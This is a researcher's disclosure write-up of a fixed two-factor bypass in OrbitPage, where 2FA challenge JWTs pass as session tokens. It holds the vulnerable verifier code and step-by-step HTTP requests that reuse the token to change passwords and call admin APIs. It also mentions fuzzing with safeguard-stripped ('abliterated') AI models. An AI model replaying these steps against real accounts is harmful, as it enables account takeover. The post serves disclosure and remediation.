General··7 min read

Two-Factor Authentication Bypass via JWT Challenge Token Reuse

Hi everyone 😄 Today I want to talk about an application with strong defenses and a huge attack surface: lots of roles, lots of endpoints. I started with the usual OWASP Top 10, and noticed fast that the maintainer had put real controls on the app. I could not find a single generic vulnerability.

Even when I fuzzed it with uncensored AI APIs and through my abliterated local models, nothing juicy came out. Nearly every provider failed to find a one-shot vulnerability, whether I pointed SAST at it or ran huntproxy, an automated DAST tool you connect over MCP so your harness can run DAST on its own, like a Burp Suite instance. Therefore, I got mad and obsessed with finding something that actually looked impactful. After my first two internships I had learned there is no such thing as an application with no vulnerability. Every app has at least a "MEDIUM".

Let me briefly dive into the application after below descriptions:

OrbitPage 4.8.0 -> 4.21.0 signs its two-factor challenge tokens and session tokens with the same key. I verified both through the same generic code path (simply asked to AI to get the specific vulnerable code part). The path checks both the signature and expiration. However, it never checks the token's purpose.

Therefore, an attacker who already had the password could take the challenge token OrbitPage hands out before TOTP verification. After that, attacker can use it as a session token. By using session token attacker can do the actions as compromised privileges such as

  • change the password
  • call authenticated role's APIs

I never test whether app provides TOTP code. However, I was sure that Two-factor authentication feels like deactivated. The vulnerability fixed in 4.21.1 and 4.21.2 is current version of application.

My Threat model: Exploitation requires knowledge of the target user's valid password. Even 2FA looks enabled, it did not at all if you somehow capture challenge token.

CWE-287, Improper Authentication is the class of the vulnerability.


How authentication is supposed to work ?

Logging in without 2FA issues an ordinary session token once the password check passes. For a TOTP-protected account, the password check should only complete the first stage. OrbitPage returns a short-lived JWT instead:

Response:

{
  "success": true,
  "requiresTwoFactor": true,
  "challengeToken": "eyJhbGci..."
}

That response & token clearly shows its purpose:

purpose: two-factor-login
audience: orbitpage-two-factor
issuer: orbitpage

The intended auth flow:

Two-Factor Authentication Bypass via JWT Challenge Token Reuse
Figure 1: Password verification yields a short-lived challenge token. Plus, only TOTP verification produces a session.

At this point the user has not authenticated. The challenge token exists to finish the second factor and nothing else. However, thanks to challenge token, after a creation of challenge token (giving correct user:pass combination), app behaved as already authenticated user.


Where the boundary failed ?

OrbitPage signed both token types with the same infrastructure and verified both with the same way:

export const verifyToken = (token) => {
  try {
    return jwt.verify(token, JWT_SECRET);
  } catch (error) {
    return null;
  }
};

This function checks the signature and the expiration. It does not check purpose, audience, or issuer ,so the claims that distinguish a challenge token from a session token are never enforced. A token meant for the intermediate 2FA step passes as a full session.

The problem is that signature validity alone was treated as sufficient proof of authentication, when it needed to also verify what the token was issued for.

Two-Factor Authentication Bypass via JWT Challenge Token Reuse

Challenge token payload (should be rejected, but accepted)

{
"username": "victim",
"authVersion": 0,
"purpose": "two-factor-login", -> IGNORED by verifyToken()
"aud": "orbitpage-two-factor", -> IGNORED by verifyToken()
"iss": "orbitpage", -> IGNORED by verifyToken()
"iat": 1789426953,
"exp": 1789427253
}

Session token payload (legit session, NO 2FA occurs)

{
"username": "editor",
"authVersion": 0,
"timestamp": 1789427398909,
"iat": 1789427398,
"exp": 1789470598
}


Reproduction

1. Get the challenge token

Assume that 2FA is enabled and the password is already compromised, through phishing, credential reuse, or a leak. The attacker submits the valid credentials:

# POST Request Sent
POST /api/auth/login HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{
  "username": "victim",
  "password": "<known-password>"
}

OrbitPage recognizes that the account needs a second factor and responds:

## Burp Response

{
  "success": true,
  "requiresTwoFactor": true,
  "challengeToken": "<redacted>"
}

The TOTP step is still pending. The attacker should not reach authenticated functionality yet.

Two-Factor Authentication Bypass via JWT Challenge Token Reuse
Figure 2: OrbitPage requires two-factor authentication and returns a temporary JWT challenge token after password verification.

2. Use the challenge token as a session token

Instead of submitting a TOTP code, I sent the challenge token to authenticated APIs using ordinary Bearer auth:

Authorization: Bearer <challengeToken>

Response manipulation did not work here. Endpoints that should only be reachable after the second factor accept the token. The server treats an intermediate authentication credential as a direct session.

3. Change the password without TOTP

The password-change endpoint shows the impact most clearly:

## POST Request Sent
POST /api/auth/change-password HTTP/1.1
Host: localhost:3000
Authorization: Bearer <challengeToken>
Content-Type: application/json

{
  "currentPassword": "<known-password>",
  "newPassword": "<new-password>"
}

The server accepts it without a TOTP code ever being provided:

## Burp Response
{
  "success": true,
  "message": "Password changed successfully",
  "token": "<session-token>"
}

The endpoint also returned a new ordinary session token. A temporary authentication state has converted into a longer-lived one without completing 2FA authentication.

Two-Factor Authentication Bypass via JWT Challenge Token Reuse
Figure 3: The 2FA challenge token is accepted by the password-change endpoint without TOTP verification for Admin Account.

4. Confirm the password actually changed

To rule out a misleading API response, log in manually with the new password. It works, which confirms the server-side account state changed.

Let me also show the normal 2FA page:

Two-Factor Authentication Bypass via JWT Challenge Token Reuse
2FA Page after successful user:pass login attempt.
Two-Factor Authentication Bypass via JWT Challenge Token Reuse
Figure 4: Authentication with the latest set password confirms the change took effect.
Two-Factor Authentication Bypass via JWT Challenge Token Reuse
Figure 5: Confirmation for successful password change.

5. Try any other authenticated endpoint

Every endpoint behind the same generic middleware accepts the challenge token. Signed in with an administrator account, supplying it to:

GET /api/users

returns the user list even though the second factor was never completed.

Two-Factor Authentication Bypass via JWT Challenge Token Reuse
Figure 6: An administrative API endpoint accepts the 2FA challenge token without TOTP verification.

What the attacker gets & what they do not ?

The token keeps the authorization scope of the account it belongs to. It does not turn a low-privileged account into an administrator. An administrator account produces the worst outcome because administrators reach the widest set of functionality; an editor stays limited to what editors can do.

What the attacker does get is the end of the second factor, for every affected role.

Two-Factor Authentication Bypass via JWT Challenge Token Reuse
Figure 7: Expected behavior stops at the second factor. Observed behavior turns the challenge token straight into authenticated actions.

The issue was related to authentication bypass instead of authorization escalation.


Signature validation is not enough

A valid signature proves who issued a token and that nobody modified it. It does not prove the token was issued for the operation being attempted. A token can be cryptographically sound and still be invalid for the current security context.

Applications with several JWT types should separate them clearly:

- Session Tokens
- Password Reset Tokens
- Email Verification Tokens
- 2FA Challenge Tokens
- API Tokens
- Refresh Tokens

Each type should only be accepted by the functionality it was issued for.


The fix

Temporary authentication credentials and session credentials need strict separation. A challenge token for completing 2FA should never reach generic authenticated endpoints.

One defense is to reject any token carrying a non-session purpose:

## Vibe coded

export const verifyToken = (token) => {
  try {
    const decoded = jwt.verify(token, JWT_SECRET);

    if (decoded.purpose) {
      return null;
    }

    return decoded;
  } catch (error) {
    return null;
  }
};

Or the middleware can enforce it:

## Vibe coded

const decoded = verifyToken(token);

if (!decoded || decoded.purpose) {
  return res.status(403).json({
    error: "Invalid or expired token"
  });
}

Beyond these fixes, you should validate token type explicitly, check audience, issuer , purpose for every authentication context. A credential created for one stage of authentication must not automatically become valid for another.


Affected and fixed versions

Affected: 4.8.0 through 4.21.0
First fixed applied: 4.21.1
Recommended now: 4.21.2

Upgrade if you're on an affected version.


Credits

Researcher / Reporter: Onurcan Genç
OrbitPage Maintainer: Paolo Ronco

Thanks to Paolo for the cooperation and the professional handling of the report.


References

GitHub Security Advisory

Two-Factor Authentication Bypass via JWT Challenge Token Reuse
## Summary OrbitPage versions 4.8.0 through 4.21.0 signed authenticated session JWTs and pre-authentication two-factor challenge JWTs with the same secret. The generic session verifier validated t…
Two-Factor Authentication Bypass via JWT Challenge Token Reuse

OrbitPage GitHub Repository

GitHub - paoloronco/OrbitPage: Open-source public page builder for links, media, profiles, venues, and events. Self-host with Docker or use the managed OrbitPage service.
Open-source public page builder for links, media, profiles, venues, and events. Self-host with Docker or use the managed OrbitPage service. - paoloronco/OrbitPage
Two-Factor Authentication Bypass via JWT Challenge Token Reuse

OrbitPage

OrbitPage - Open-source link-in-bio page builder
Build a polished one-page website for links, menus, events and contact. Self-host the MIT-licensed core or use managed hosting with safe AI editing.
Two-Factor Authentication Bypass via JWT Challenge Token Reuse

Paolo Ronco

Paolo Ronco · Cyber Security Analyst
Cyber Security Analyst in Deloitte, nell’Enterprise Cloud & AI Security Team. Lavoro tra sicurezza cloud, AI e automazione. Nel mio homelab costruisco, testo…
Two-Factor Authentication Bypass via JWT Challenge Token Reuse